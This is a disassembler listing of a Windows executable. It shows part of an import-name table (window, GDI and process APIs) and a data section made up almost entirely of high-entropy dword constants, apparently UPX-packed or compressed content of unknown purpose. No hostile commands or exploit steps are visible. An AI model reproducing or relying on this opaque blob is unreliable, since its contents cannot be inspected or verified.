		dw 102h
aGetdlgitem	db 'GetDlgItem',0
		align 4
		dd 6553025Eh, 6E695774h, 54776F64h, 41747865h, 2520000h
		dd 54746553h, 72656D69h, 1460000h, 53746547h, 65747379h
		dd 74654D6Dh, 73636972h, 0E30000h, 41746547h, 636E7973h
		dd 5379654Bh, 65746174h, 1950000h, 6C6C694Bh, 656D6954h
		dd 0BB0072h, 50646E45h,	746E6961h, 0C0000h, 69676542h
		dd 6961506Eh, 746Eh, 6547012Ah,	73654D74h, 65676173h, 13A0041h
		dd 50746547h, 41706F72h, 0CD0000h
aEnumthreadwind	db 'EnumThreadWindows',0
		dw 242h
aSetpropa	db 'SetPropA',0
		align 2
		dw 1C9h
aMovewindow	db 'MoveWindow',0
		align 4
		dd 654700FFh, 73654474h, 706F746Bh, 646E6957h, 776Fh, 52455355h
		dd 642E3233h, 6C6Ch, 65440050h,	6574656Ch, 4344h, 72430030h
		dd 65746165h, 69424944h, 70616D74h, 1AC0000h, 6C616552h
		dd 50657A69h, 74656C61h, 6574h,	655301C8h, 7463656Ch, 656C6150h
		dd 657474h, 7243002Bh, 65746165h, 414344h, 72430042h, 65746165h
		dd 656C6150h, 657474h, 65440053h, 6574656Ch, 656A624Fh
		dd 7463h, 69420011h, 746C4274h,	1C70000h, 656C6553h, 624F7463h
		dd 7463656Ah, 2A0000h
aCreatecompat_0	db 'CreateCompatibleDC',0
		align 4
aGdi32_dll_0	db 'GDI32.dll',0
		dw 29Eh
aTerminateproce	db 'TerminateProcess',0
		align 2
		dw 22Fh
aRtlunwind	db 'RtlUnwind',0
		dw 170h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 4
		dd 6547015Dh, 73795374h, 546D6574h, 656D69h, 65470174h
		dd 72655674h, 6E6F6973h, 1990000h, 70616548h, 6F6C6C41h
		dd 19F0063h, 70616548h,	65657246h, 2AD0000h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
		db '²',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db '³',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 106h
aGetenvironme_0	db 'GetEnvironmentStrings',0
		dw 108h
aGetenvironme_1	db 'GetEnvironmentStringsW',0
		align 10h
		dd 6553026Dh, 6E614874h, 43656C64h, 746E756Fh, 1520000h
		dd 53746547h, 61486474h, 656C646Eh, 1150000h, 46746547h
		dd 54656C69h, 657079h, 6548019Dh, 65447061h, 6F727473h
		dd 19B0079h, 70616548h,	61657243h, 6574h, 695602BFh, 61757472h
		dd 6572466Ch, 2DF0065h,	74697257h, 6C694665h, 1A20065h
		dd 70616548h, 6C416552h, 636F6Ch, 6553026Ah, 6C694674h
		dd 696F5065h, 7265746Eh, 1E40000h
aMultibytetowid	db 'MultiByteToWideChar',0
		dd 65470153h, 72745374h, 54676E69h, 41657079h, 1560000h
		dd 53746547h, 6E697274h, 70795467h, 5765h, 654700BFh, 49504374h
		dd 6F666Eh, 654700B9h, 50434174h, 1310000h, 4F746547h
		dd 50434D45h, 27C0000h,	53746553h, 61486474h, 656C646Eh
		dd 1BF0000h, 614D434Ch,	72745370h, 41676E69h, 1C00000h
		dd 614D434Ch, 72745370h, 57676E69h, 0AA0000h, 73756C46h
		dd 6C694668h, 66754265h, 73726566h, 210000h, 706D6F43h
		dd 53657261h, 6E697274h, 4167h,	6F430022h, 7261706Dh, 72745365h
		dd 57676E69h, 398Bh dup(0)
		db 2 dup(0)
word_505446	dw 0			; DATA XREF: UPX0:off_4264D8o
		dd 1EEEh dup(0)
_data		ends

; Section 7. (virtual address 0010D000)
; Virtual size			: 00040000 ( 262144.)
; Section size in file		: 00040000 ( 262144.)
; Offset to raw	data for section: 0010D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_pdata		segment	para public 'DATA' use32
		assume cs:_pdata
		;org 50D000h
aPdata000_0	db 'PDATA000',0
		db 2 dup(0), 0F0h
		dd 0FFD70003h, 0DA780001h, 5C7FBDECh, 38F66554h, 32E6677Eh
		dd 0C664605Ch, 0A2C2C542h, 0B545FB62h, 0A38944E4h, 9A20E685h
		dd 9C1225D8h, 8956A84Ch, 3AB5FB66h, 3806DAE3h, 0B9728C3Ah
		dd 32DDB35Eh, 7D87EDDDh, 76DAB6D2h, 3F57F2B3h, 0C05C41B4h
		dd 0B4577F32h, 0F56B515Ah, 0A0A290D0h, 0CFDC8A0Ch, 83B9E739h
		dd 0FDF76A3Fh, 0FDFFBEF9h, 0CFB94BC6h, 0E73CF38Fh, 0E79CE73Ch
		dd 0EE79E73Ch, 77052E79h, 822C152Dh, 5FF08820h,	0A36105D7h
		dd 85727FC0h, 61C7F9FFh, 8BE48412h, 0D6164DDFh,	0C97C7C26h
		dd 8FA4D346h, 0E2B3B92Fh, 8FE9D981h, 0FEE47ACEh, 943EF759h
		dd 1F7B9BFEh, 5F11F87Eh, 0D3337DFAh, 4E1FF967h,	0F4E1E07Fh
		dd 0A517B771h, 8CC8F43Fh, 180DD799h, 0F4619890h, 63E6F4D1h
		dd 1AEE0D7Fh, 0FFFB15D2h, 0AEB4D1C5h, 0DBA33C00h, 81AAEC2Fh
		dd 687DB0A7h, 0B6787CD7h, 0B5D61CEFh, 1BE79E88h, 5AEB4F9h
		dd 0A77AFCF0h, 0DB51A5D8h, 0EE1F5DC1h, 9F5D21Eh, 0BE8D6BE4h
		dd 43FF08FEh, 2E08C39Dh, 0F5D699D4h, 7DC73C32h,	95F2903Ah
		dd 0F3D3E71Dh, 537E078Eh, 31B1B081h, 98416EC9h,	8E138A64h
		dd 8EEEDFCDh, 0C90AB595h, 0AC992497h, 0CE433090h, 0BFFB6544h
		dd 1203B484h, 562661Dh,	8F9C1DA5h, 29FA7082h, 1C3912ECh
		dd 0D73998FCh, 0BFA3BC8Ch, 0C1811F1Ch, 785EE116h, 0B309F36h
		dd 1EF0B007h, 10C8A851h, 54B3FA7Eh, 0FBAF2A14h,	0B9CE107Fh
		dd 1CA7403Fh, 0AFAB9FF7h, 0EB9CCDF3h, 779FE783h, 356AE31Bh
		dd 0FB17D3F7h, 0AEAA0749h, 5EE3359Bh, 0F5FA101Fh, 0B3D8C6E5h
		dd 0FFD079FAh, 7B93BA03h, 5613071Dh, 4AFC08DEh,	47BB0D07h
		dd 0E1B3CFE0h, 9ACDD7C2h, 9037EB3Dh, 98C2B1A6h,	0E580BFA9h
		dd 9ACDFDA7h, 23E0F9h, 79CD9A58h, 0E6BA0A40h, 0FF637027h
		dd 0E5F99C17h, 5F9F97E7h, 0F9F97E7Eh, 9F97E7E5h, 0F97E7E5Fh
		dd 97E7E5F9h, 7E7E5F9Fh, 0C5FFF9F9h, 0E294D14Fh, 0E187B512h
		dd 69DD4AAEh, 32C1DF5Fh, 0BB0B548Dh, 363148C4h,	0DFF55204h
		dd 659D4949h, 3EBEDBF0h, 730C749Ch, 0A7D3A58Dh,	47AB1435h
		dd 7E94062Ah, 646FD265h, 0AE540297h, 0C23BCF73h, 0BAE2C7D7h
		dd 0B8E3BC8Fh, 716F9A02h, 0EAAC51EEh, 0CEE3EE91h, 0ADF5A53Dh
		dd 8691F752h, 0A17B6A29h, 0A88A96EAh, 7A8578BEh, 4FBBA4A4h
		dd 1ED4DB75h, 4A6573F5h, 48CC0AEFh, 0DD15D1EAh,	0E2851ABAh
		dd 0FA37F615h, 0DFDA4FBAh, 0F73AF7F0h, 0F770DFD8h, 0A0CA9A5Ah
		dd 5D80C46Bh, 4EC6103Fh, 0DDA58D2Ch, 5BA9A647h,	4916DB6h
		dd 3B7E7DE8h, 8A8BD16Eh, 0A090B44Bh, 925F8FC3h,	0A92822D9h
		dd 20A0690h, 2CDDB05Bh,	6A00807Ch, 69540947h, 0C9B02D0Bh
		dd 5741F595h, 0EA1D9A76h, 65E05B74h, 0C109400Bh, 687C4597h
		dd 0DC0AE679h, 0B9057B04h, 0DD88B95Ch, 2F036D01h, 1C57719Bh
		dd 0DA119ADCh, 41A25F6Fh, 4473ABD2h, 323B3225h,	363504D0h
		dd 0A727BA6Fh, 949556C0h, 0CBDB6059h, 426D3382h, 815572C4h
		dd 0E5664Dh, 0C21CF75Dh, 0FC13216Ah, 40A1D0AEh,	8481ADE6h
		dd 2684801Bh, 0B907D4B7h, 55C756E0h, 0BA76A97Eh, 4B9A95AEh
		dd 0CB0008D8h, 6E5F00B2h, 461A58F5h, 3F954123h,	0B3BB1094h
		dd 0C1352216h, 0B1E09B2Ah, 1A1B313Fh, 0A5658DAAh, 0A835B6D3h
		dd 97C432E3h, 8E2DAB6Ah, 9D2E6286h, 0DC30CC6Ch,	3D727BB3h
		dd 7A88B82Bh, 0A88E88B8h, 5814085Bh, 37F6A5Fh, 0EEE8AE1Ah
		dd 0C94B5FF9h, 61741190h, 445FA908h, 6A328450h,	10CCEF50h
		dd 0D4093C81h, 2EF6A8EEh, 4230224Ah, 0EAE45DF0h, 9D417D9Eh
		dd 0F749E814h, 0E726D527h, 0FBA44605h, 7448DCA5h, 0B932058Eh
		dd 46D42F91h, 45B99EAFh, 0E13D83BEh, 1B320930h,	6D0459C6h
		dd 0CCDEF12Eh, 9A2E6286h, 0C512A9E8h, 305248ACh, 9B89019Ah
		dd 74716622h, 0B22F35ADh, 41B4ACBFh, 0AC8865F7h, 0E0B343EAh
		dd 30E171C1h, 0B34B240Ah, 85094EEAh, 3F9B0295h,	1A9A6BCEh
		dd 5629CF0Ah, 6B4038A7h, 8E0A7714h, 0BECDBA6Dh,	0EB990EBEh
		dd 5DC79DD4h, 0DEB3B30Dh, 8E5BBE43h, 132B3AB8h,	564EBBC6h
		dd 664F339Ah, 1A4DD676h, 693E1E6Eh, 260B39A4h, 0E6DA1485h
		dd 0C7077B8Fh, 0DB72EB93h, 0BD2ED66h, 41EBFC52h, 6711D318h
		dd 3A0D3DB0h, 4A4B2185h, 2F9A8741h, 6ABD052Ah, 0DAE6A4BEh
		dd 0B52E8294h, 91B8A1C0h, 0E66DF58Bh, 0F4835FF9h, 0A556096Fh
		dd 56AD9A08h, 2FB76829h, 0B99105A9h, 5EC1EDEAh,	70528C9Ch
		dd 326824A6h, 14CA6734h, 91DB935Bh, 29E7A58Eh, 7FCE0E53h
		dd 0B0BF1A48h, 0A8F55EF9h, 50FEA27Ah, 5BDFC59Ch, 0A968BDFFh
		dd 0AB7670EAh, 84E59255h, 3B2DBB3h, 5543DCE4h, 0E2EAAA51h
		dd 0F5503D55h, 0F0E05EA9h, 2024566Fh, 0C3047141h, 5537A022h
		dd 52188F03h, 29507059h, 0EDDCBA88h, 2A4416B3h,	0E7B3F55Dh
		dd 0D0EA916h, 52EC07E9h, 1B874DFAh, 191884D5h, 0F5A3D427h
		dd 552CE387h, 44EFFAD1h, 0D9CBBF8Bh, 4AF4C2A7h,	993CEC1Bh
		dd 86D513B9h, 0FFEB7AEAh, 77A65A2Dh, 696A4F38h,	0F393CEC9h
		dd 0CCE6911Bh, 0E2BF00CFh, 149BFC97h, 71209207h, 2B2A8412h
		dd 0BC819A68h, 0E9595A6Eh, 8748CE36h, 562A453Ah, 0D4B7543Fh
		dd 0CF5A9D7Fh, 929FDD24h, 0ABD6ACD4h, 3BF7447h,	9ADF5998h
		dd 0A087F5Ah, 6A8D496Dh, 395B033h, 0EE6B3525h, 0D299590Eh
		dd 0F622301h, 40F291F5h, 0A0C3DE7Fh, 40D31219h,	6643D9B0h
		dd 3DEB180Ch, 4E00B32Ah, 88779377h, 2C012CCh, 8AF3CF78h
		dd 658DDB32h, 0C9E7BC03h, 0DE8218ECh, 0CFE1CD74h, 60BC83BCh
		dd 0E4E23656h, 8DEB9ADBh, 9900DC02h, 0C93840CDh, 8FB3271Bh
		dd 6BD03531h, 0D8D3D991h, 0C7070FE2h, 2F7EF14Eh, 0F330CBB3h
		dd 2FBCF6FCh, 2ED782BCh, 7662BFB3h, 8CF61C6h, 8B320FEFh
		dd 79C6BEA7h, 9956BD93h, 0AB7B6195h, 5997CF7h, 32F14F79h
		dd 32008DBBh, 0E9DCBFB2h, 7BC1A87Dh, 2BC43BC2h,	760EF901h
		dd 0D0100EC8h, 0B33C2379h, 1FEEBDFFh, 64BB7AD7h, 76160EF6h
		dd 9A0E5765h, 445796FBh, 0D058CD5Ch, 0F895B323h, 72A03ECh
		dd 1DAD6CCBh, 0FECFCC7Bh, 4BE4FAFEh, 5E09BC1Bh,	6367F433h
		dd 138846FFh, 0CF839B32h, 63ACC414h, 0C3E30A2Ah, 0ECC98027h
		dd 6095C403h, 13793229h, 0F66483BDh, 41F39DA5h,	0C22E5997h
		dd 0DB85808h, 7FED8661h, 26DBD7AFh, 38B0ABB3h, 60D69B11h
		dd 1A881DAAh, 0A627332Ah, 0D8F7654Fh, 838152BEh, 8352E980h
		dd 0BE4E3FA2h, 31EF53FAh, 864D1D99h, 686B1E3Eh,	2E3DE418h
		dd 49936FB3h, 4903260Ch, 488A323Ch, 25900EFAh, 2086B0D3h
		dd 2648BFCBh, 0D79DB26Ah, 1A1F8EFh, 2C34AC8Ah, 0A0F3921Bh
		dd 0A050F1F0h, 32CC986Eh, 664461B1h, 29E1B14Bh,	5B3B1DAFh
		dd 0BBE6D885h, 120C3A59h, 75112D84h, 9F6424DEh,	0CA4E7D42h
		dd 787D2E7Eh, 0EF57593Ch, 0E329ECA0h, 88E30EDEh, 0B1264ADEh
		dd 53ECCB27h, 0C101454Ch, 0C12B3285h, 0B91DEECEh, 0CE841E2h
		dd 0AAC34874h, 58BAA82Eh, 0B992A366h, 81EE81A8h, 142DFC58h
		dd 5FB3245Fh, 766418D1h, 0CD3C006Ah, 64C2C7D8h,	0C8B42Eh
		dd 9990E0C2h, 0CBCD8F8Fh, 76161900h, 0C9A6AE80h, 0C40187ECh
		dd 159954F5h, 1A31325h,	0E34685E3h, 9DD607Fh, 0B26402A0h
		dd 17F10065h, 3ECC0298h, 98B88031h, 0A88BB328h,	0A3ECD4D7h
		dd 0DF9A1D6Fh, 59A5EDE0h, 3DAC7BF1h, 1530F509h,	49B101D4h
		dd 6A2985D1h, 0BEA63EFDh, 0F8EDD996h, 5A9D5114h, 0D971F3A8h
		dd 5E97A4BBh, 78032F5h
		dd 0ED621736h, 273F9021h, 82DEA010h, 75D6F654h,	0E9A01DA5h
		dd 697B3249h, 583A900h,	80319147h, 54988E0Fh, 2F301587h
		dd 0E9E0DB0Eh, 0A44EB940h, 8FECF4EAh, 0DD5CAF46h, 4F108A00h
		dd 61BD72h, 5EEFFA69h, 0BD0D7EB3h, 0C4BED300h, 723E706h
		dd 0CBAA2286h, 13B7BB1Fh, 27140BC4h, 3B346422h,	297378F1h
		dd 5BF500A0h, 0B072E36Bh, 6DDBF0A1h, 0CE1B26C4h, 68D8BFEBh
		dd 715B2094h, 0D0024D00h, 7C04EDB9h, 0AEC77643h, 78354E3Bh
		dd 790C28Fh, 0C47BF4D2h, 1D01BC46h, 8FD4C169h, 0CF0D1B32h
		dd 1E97E1ECh, 237EF529h, 4C2C2CB3h, 0C778E542h,	0D60BEA46h
		dd 1781BE61h, 1B40ED26h, 0FB3800C9h, 10D94C67h,	9BC7DE7h
		dd 6D0B0C38h, 4922235Ch, 0D0C363D0h, 0FD5C2DD7h, 9F38D8C7h
		dd 804B41DAh, 71263FC7h, 93E27FA8h, 9E7DEE71h, 66572084h
		dd 5FCFADFh, 93DE0D35h,	49D5D124h, 0BE301AA4h, 65A76CEBh
		dd 0D11246FBh, 0DAA4FD0Fh, 500D4C8h, 480CBCADh,	615C6D15h
		dd 830008Eh, 7212016Fh,	0AFB2FE8h, 414FAA71h, 0BF0841A8h
		dd 0A69B8926h, 0D80D36DFh, 2D8767C7h, 61E6D57Bh, 6D80D007h
		dd 0D923A841h, 0B8DEA6E3h, 0B4C3901Ah, 0D9BFB9BAh, 0E8A44963h
		dd 0B9ECC817h, 67E21224h, 81F7DA2Bh, 87514110h,	1D167126h
		dd 44A1D991h, 9C8F1232h, 0D8C3D7B4h, 1414F800h,	0FEB33F64h
		dd 16D0359Bh, 224DEF40h, 57B10161h, 0C6AC0A61h,	69C489FBh
		dd 0EF3700D0h, 0E2C2FB26h, 7D03EF37h, 0F1C5DE03h, 0E80CD9A1h
		dd 0A1656043h, 5B0D78Fh, 2241690Ch, 936A0389h, 43FAC892h
		dd 0DC89BD8Bh, 0E175FD26h, 0C1F3175Bh, 0EBBD977Dh, 329923DAh
		dd 949133BBh, 0DE79403h, 1A89814Ch, 7D9B189Bh, 0EA9121CFh
		dd 0DED5F742h, 49B1837Fh, 8494EB24h, 9125BFC3h,	1A8CCF0Bh
		dd 9BC0DABFh, 0D84898h,	63129FEFh, 7B0D3EEAh, 0D564B858h
		dd 61753077h, 0C9129370h, 1F4702F8h, 39BCE44Dh,	50FCB5C5h
		dd 0A40E2902h, 6F9042AEh, 9250FC61h, 0B37D17Dh,	40F143A6h
		dd 9F0496B0h, 0E1739D95h, 0F9ABF7h, 6407794Eh, 0ABF7FBAFh
		dd 2004DEEDh, 29F9B1Dh,	84813917h, 24764201h, 8741FE92h
		dd 4A06582Dh, 0F0EC5BFCh, 2DB7B7C4h, 59941EF6h,	0AF370269h
		dd 0A466B3E5h, 0D92CEEF1h, 4F092DEAh, 493E68A1h, 64C071A0h
		dd 0C9B0E7Bh, 8AA4765Ch, 924435Bh, 0D55605C8h, 6657AA60h
		dd 55881243h, 959D030h,	0B48F485Ch, 0A01F390Fh,	18963141h
		dd 3C129D30h, 55ACD0E3h, 0C6044962h, 929DF40Fh,	59183E88h
		dd 2EB70279h, 87BC491Fh, 0B4D7CBF1h, 0F6653B7Ah, 44C449Eh
		dd 6213836Ch, 4C8F74Bh,	305E3D6Eh, 7C0DADB1h, 0FBF9A0A9h
		dd 0ECA31486h, 71D4C07h, 5618801Eh, 0A0103448h,	0EB109CC5h
		dd 5FA943EBh, 6292EF27h, 29875A52h, 954F9940h, 0B707D969h
		dd 363F93Ch, 0C6448528h, 48919E9h, 3A321E7Fh, 0D9BDD30Fh
		dd 7CE4479Bh, 0FE84A302h, 0B400B1B2h, 0B3148063h, 0CE24CBAEh
		dd 5BF3BBDAh, 0A04D00B7h, 6254C57Ch, 23FC7ECBh,	0D99C37D7h
		dd 0D085FB2Ch, 0F6640FB2h, 994D3C59h, 2D87DFE8h, 7CB0C681h
		dd 2705877Ch, 0AC6D1FB2h, 1BE879Bh, 269E2308h, 4872601Ah
		dd 14BC627Ch, 8CDEF34Fh, 0A7886CE4h, 0B3470D15h, 6C9E9218h
		dd 77B7C0F1h, 218E3878h, 5FE3CED9h, 0F80D40CEh,	3BAC9E34h
		dd 0A404E048h, 0E978BFB2h, 93DE694Fh, 8E2C7E30h, 9CD65764h
		dd 0E4CB9B7Ch, 4C06A201h, 670F3E13h, 0EE39DD1Fh, 0C8A8DC4Fh
		dd 715B1F1h, 3EC5AB7Ah,	0F27D17AAh, 183AC427h, 9ADAD333h
		dd 84C3B15Ah, 9A54D8F8h, 0D72DCF11h, 8ECFF908h,	0E854D006h
		dd 1F14E49Eh, 0E0112E4Fh, 0F40F947Ah, 5B7D8FBCh, 0B083B0C1h
		dd 4D5CADDAh, 2FB3E2B7h, 7FB2EE7Bh, 66B5F354h, 0C5EB95AFh
		dd 7EAE83B5h, 907BC1A4h, 80BE0ACh, 3C20DD4h, 0A636FC93h
		dd 0FE3F660Fh, 0B93BC7F0h, 563FFCD9h, 0B74C3B12h, 7D95202Fh
		dd 1C972B8h, 0BFE83B6Fh, 8D23A635h, 0FC18C356h,	0C1A511EBh
		dd 6C6CC170h, 0F4E6358Dh, 45F2B3ECh, 0C0978737h, 0E385B702h
		dd 0DEE67013h, 0A60B698Ah, 0FDE75Eh, 0BF43A0FDh, 177572B3h
		dd 40C964ADh, 2986574h,	0A38D1CB6h, 2F81EB25h, 1A0B3F46h
		dd 2DF0ED0Fh, 5808CC34h, 0D8C6BCBCh, 0BBF99AEEh, 104006BEh
		dd 7C441DE7h, 9B8E2AFAh, 0CCF00DA2h, 84BE370Eh,	0E3E60C93h
		dd 4E5F2B00h, 0ABB16257h, 0EC3EF6F7h, 6B084FFEh, 143B3D47h
		dd 29D2ADC7h, 0E61C50EFh, 1BA2B19Fh, 771C66A6h,	0DACBEE0Ch
		dd 0DBC1A53Dh, 8D2C0C4Eh, 0EC044323h, 9A80DEFDh, 19534714h
		dd 0E24F891Ch, 0C48C1AB8h, 683077E7h, 8D9371B0h, 0A870D3AEh
		dd 3EB8E36Bh, 1FF79977h, 0C87F006Bh, 54401DEEh,	0FC47155Fh
		dd 11FC1102h, 23DCBD53h, 3F0F9F3Ah, 9B35DF77h, 0CC082301h
		dd 81F2471Ch, 71C7468Eh, 0F9FCC206h, 72428458h,	0C1C4AF9Bh
		dd 85D7F8EDh, 0E3E6F0EFh, 0D3DAFB31h, 41D81736h, 8E223268h
		dd 21CFB1BBh, 0C0E02E3Ch, 3E4537CFh, 167B41A7h,	0F77F318Ah
		dd 0C3CB916Bh, 81A19227h, 54C29D71h, 6C18F027h,	1935355Ch
		dd 726D3D91h, 5E0D73FEh, 48993C46h, 0B0B4402Dh,	6915280Bh
		dd 4D3F41DAh, 7F496C62h, 6D952442h, 7309E55Eh, 0E4472C47h
		dd 53EFFD33h, 3621A8AFh, 2BF0FF80h, 647ECB28h, 0DC3194D1h
		dd 4DBC29E4h, 0D3E9C1CEh, 0BBA0F740h, 3002C38h,	788585FCh
		dd 1B94A405h, 7FB968BDh, 344B009Bh, 595F3539h, 3D91CCB0h
		dd 4DB85FBh, 270026DCh,	504DC388h, 0B4359D9Eh, 0E7AA3171h
		dd 35B12D9Fh, 0CF1618E3h, 0C21F4A08h, 0F83D008Ch, 0F805C2CEh
		dd 808F3E18h, 539F04E5h, 835670B3h, 471F736Bh, 823AF30Dh
		dd 0B638C1A9h, 0BE642DB7h, 0B33FD540h, 0DE250190h, 6770B54Fh
		dd 19C2CB28h, 6F5BAC4Ch, 637FD2E1h, 18A6F386h, 6216ECEBh
		dd 17BD2817h, 3857B053h, 0B4AD2665h, 9BFC9D18h,	2478B79Bh
		dd 0F9B1AEF4h, 0CC089h,	0CDFBCD1Eh, 87101D76h, 4EA156C5h
		dd 0A5107C4Fh, 3A85BB75h, 1886DA00h, 8E66BE5Dh,	0B38F399h
		dd 66E5D9D7h, 81C02732h, 3F5C2C4Bh, 9A0B1BC1h, 68CC3349h
		dd 93319F8Bh, 0D829839Ah, 8C7BE663h, 3C1A6699h,	308725ACh
		dd 0F33B3275h, 0A06DB4B2h, 0AF4E2046h, 1608B399h, 0E4CC5BDFh
		dd 363683ABh, 0C0C9899Bh, 3E66A5D5h, 67832F9Dh,	1CBFF8F6h
		dd 59B827FEh, 9ABF8630h, 23CA7E63h, 70034E66h, 31A1375Eh
		dd 73716CFEh, 0DBC1A785h, 827CD503h, 923E6648h,	1111356h
		dd 9600F0EAh, 73A0F7Ch,	0C4C1FD8Ch, 3C0B7635h, 0B994FFB3h
		dd 268B88ADh, 0A2B20D5h, 6CF90243h, 0E59EA035h,	0FCDCC07Dh
		dd 207C9995h, 0C65F2372h, 99B10BD2h, 3D93539Dh,	0B93283EBh
		dd 31251BC1h, 25689855h, 0D2AD6F23h, 107B244h, 817C406Dh
		dd 1D7AECDFh, 0F88C3FA6h, 0C26C5315h, 3671376Ch, 0E2E26F5Fh
		dd 0F58EE5EFh, 4012DE58h, 0FB2008ABh, 6C57C3DBh, 85730AE5h
		dd 741F8C89h, 0AF899F7Ah, 0CE04C78Bh, 4EC09394h, 13561E98h
		dd 0E9402839h, 0F2F58823h, 7167F791h, 0C3E70E91h, 362FDD01h
		dd 0F8FD1F71h, 0ADFEF6AFh, 3AC92B01h, 5FE0879Fh, 843CCFE5h
		dd 6814AE9Dh, 8C64291Ch, 16106E04h, 122B32F3h, 0B7A0F54Eh
		dd 5FAE0573h, 0F9DE7B37h, 1F08AF9Ah, 54068409h,	0C340B0E3h
		dd 41BD404h, 0E0907DD2h, 0CE4F817Eh, 5896815Ch,	53BE852h
		dd 0D2137ECEh, 0B7C0AEF6h, 340B17E9h, 0AF2684Eh, 19987A1h
		dd 0C095751Ah, 5393B47Dh
		dd 286B8F9Fh, 6F6C8156h, 0A7B8E87Ah, 0A2396CCAh, 652199DEh
		dd 0ECB750EEh, 9477556Dh, 6921FDEEh, 14839E0Bh,	2955A897h
		dd 62CABD21h, 5A9B2A9h,	792FD536h, 0FDED774Dh, 0EC702D46h
		dd 89F9043Dh, 3B2F3B99h, 934236AAh, 0E058659Dh,	0BD2C6A48h
		dd 6FDECB6Ch, 0EF76B6F6h, 948A6CB9h, 0A54E85B4h, 0D638B000h
		dd 747AA26Ch, 0E36A77EFh, 4A87E65h, 975DEE88h, 87BDA5B9h
		dd 0D037EF6h, 1008BA11h, 46C06656h, 0AA59DD48h,	50E19DDEh
		dd 0A14FD51Bh, 0A91949F7h, 0DFC9BF7Bh, 0B24DAADBh, 83BF7BEBh
		dd 0BD210D46h, 0AF68407Ah, 0B8D49CCFh, 87DD9BFBh, 9677F76Eh
		dd 286B4E95h, 7ABF43A7h, 44D6DF2Dh, 0B94D53E1h,	82247822h
		dd 2B952F92h, 8DF85503h, 0A572C63h, 6DA46CDh, 4F783169h
		dd 26C5B09Ah, 7A9B6210h, 0F2578D44h, 96AC544h, 7AF36CCBh
		dd 2B26A0B3h, 0AFEED279h, 0E3DFF50Bh, 60828244h, 3DDA1A79h
		dd 22DD003Ch, 2918EA0Ah, 0D5736F58h, 4A260FBh, 9FC9E3D7h
		dd 26A9285Ah, 3ED8DC6Dh, 893996D7h, 8211C1E5h, 8FCFCC5Fh
		dd 0B2DCCD1Ch, 8C1B9A3Bh, 3F93149Ah, 52383CBEh,	9C1A9BF0h
		dd 0EB86361h, 5AAB88F5h, 80189AACh, 4CBE0B91h, 568AEAD5h
		dd 3F36A45Fh, 0F5D74DB0h, 809D9679h, 792C9D5Dh,	231C4D05h
		dd 84911BB3h, 0E6E536ADh, 0E0F117B6h, 0B945BC58h, 0FA0AF659h
		dd 0F1A5891Ch, 0CA05369Ah, 5AB24F79h, 6804012Ah, 3D3BAF8h
		dd 8DB98229h, 407FEB59h, 2A5409F0h, 7372A2D5h, 8E06D1B0h
		dd 9F4BEBA6h, 2BD88ABh,	70C89E85h, 26D24F35h, 1A7DA31Bh
		dd 0B57F108Bh, 0B3372B28h, 0C2819E3Fh, 0BD6B802Bh, 8071A90Eh
		dd 0FD48B654h, 686FB5BCh, 0A5F93572h, 680F3612h, 0AF40C8Ch
		dd 0C1860EEAh, 44F02560h, 0F5306983h, 69F2E027h, 1E01B770h
		dd 9783F735h, 7C6A3DA8h, 0C99A6E70h, 37B15577h,	3980499Dh
		dd 6F8F614h, 0CDA937E8h, 0BA7D57ECh, 0CC4476AEh, 4EEAE3CEh
		dd 0E19505B6h, 0AD2F3D26h, 285F0CB4h, 0B003D378h, 0D6CFB1B2h
		dd 8006F2h, 10460938h, 4A75BD9Ah, 5851A1D7h, 69B9EAB1h
		dd 99F8488h, 12AB4116h,	7415AEAFh, 9DE012B0h, 8B912F53h
		dd 63324ED9h, 0DE7850B6h, 415A2595h, 0C1E32594h, 558A3BBBh
		dd 9415796Bh, 67F6C286h, 2018D81Bh, 0CFBF66A0h,	0BB09B6FCh
		dd 0E89CF270h, 572E470Ch, 75619D93h, 0EAB3EBA0h, 0A4827514h
		dd 0B3EC2A4Dh, 6FA9C86Fh, 269A5875h, 0EFE8984Ch, 0E033800Ch
		dd 0F0B77733h, 0B1537743h, 4FE69F9Eh, 1D0FAF51h, 2F0325F7h
		dd 16C40F7Eh, 79901133h, 134E1B4Ah, 45D2815Ah, 3C0553Ch
		dd 99314990h, 0D5E94E61h, 48036768h, 4AB13DEDh,	9F5A1CE9h
		dd 69A7E686h, 4873C45Dh, 0D69C95EBh, 0C1EA9ED0h, 4FC96B40h
		dd 518B2D88h, 0C3D6C44Bh, 0AEB15E4h, 54595AC5h,	7D0E2A07h
		dd 9B8C5A6Ch, 5E0A7829h, 1FBABD0h, 816B3B67h, 6CAB0441h
		dd 7FE2FB66h, 21AAF408h, 2AC4FEC3h, 4BF5EF3Ch, 7DABF7C3h
		dd 0F5AF9B81h, 6835F5C7h, 0D3D026D5h, 0BA362E82h, 0FE5CC70Fh
		dd 2D598C36h, 5B8D42E8h, 75EBABD3h, 7B6135F1h, 8D9A004Dh
		dd 8DB4AACAh, 0D92799CAh, 0F047737h, 1A2E4565h,	77F20635h
		dd 229BF919h, 0ADEEA3C9h, 0FEA331Ch, 0FE5346F3h, 56DF9751h
		dd 0B0B0BC35h, 0DD43A0AEh, 0AA2F9B5Ah, 4C78ED05h, 40880EDDh
		dd 38032CFCh, 6EA85853h, 204E662Fh, 1B7B112h, 9E47C6F7h
		dd 40C3E4C4h, 38FDF0C8h, 2A901982h, 51806BABh, 5ABCA83h
		dd 4BBB9ABDh, 651E9DAEh, 0A89C36h, 0DFEA0E39h, 81F64536h
		dd 5408D868h, 521971CBh, 3B58BE5Dh, 0D2055459h,	0B491B533h
		dd 3AAFAA1Fh, 0E143ABC5h, 9E636B2Ah, 916EEA68h,	0EB18CE41h
		dd 47888319h, 0D8D06488h, 64E1B674h, 0E297D80Ch, 560EA6DCh
		dd 271B00EFh, 0C733D626h, 0B0A13198h, 0CC9A90FFh, 9A9007EEh
		dd 7D444FB0h, 0A095B327h, 9EE7F29Ah, 1B66AA8Fh,	11CC1E53h
		dd 13F989FCh, 0CEB60026h, 0E186A635h, 2894361h,	14010E55h
		dd 5AA06609h, 0FE87B365h, 0C1D8D284h, 67FAF8C2h, 0DB0B5D67h
		dd 42E255C0h, 19DE38E8h, 0BE2BFB6Eh, 1E2F1A75h,	1C30B96Fh
